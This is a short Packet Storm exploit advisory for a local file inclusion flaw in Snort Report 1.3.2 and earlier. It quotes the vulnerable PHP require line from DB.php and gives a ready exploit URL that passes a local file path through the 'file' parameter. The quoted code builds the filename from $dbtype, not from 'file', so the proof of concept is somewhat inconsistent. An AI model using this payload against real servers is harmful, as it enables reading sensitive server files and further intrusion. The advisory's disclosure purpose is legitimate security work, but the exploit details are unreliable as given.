Snort Report versions 1.3.2 and below suffer from a local file inclusion vulnerability.
25633311c3531cf0f0dfe0897de0ff79# Exploit Title: Snort Report Local File Inclusion
# Date: 05/02/2012
# Author: T0x!c
# Software Link: http://www.symmetrixtech.com/ids/snortreport-1.3.2.tar.gz
# Version: <= 1.3.2
# Platform: PHP
##########################
-=[ vuln c0de ]=-
"/DB.php"
59 $file = join("", array("DB_", $dbtype, ".php"));
60 require($file);
----exploit----
http://server/Path/DB.php?file=[Local File]
##########################
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!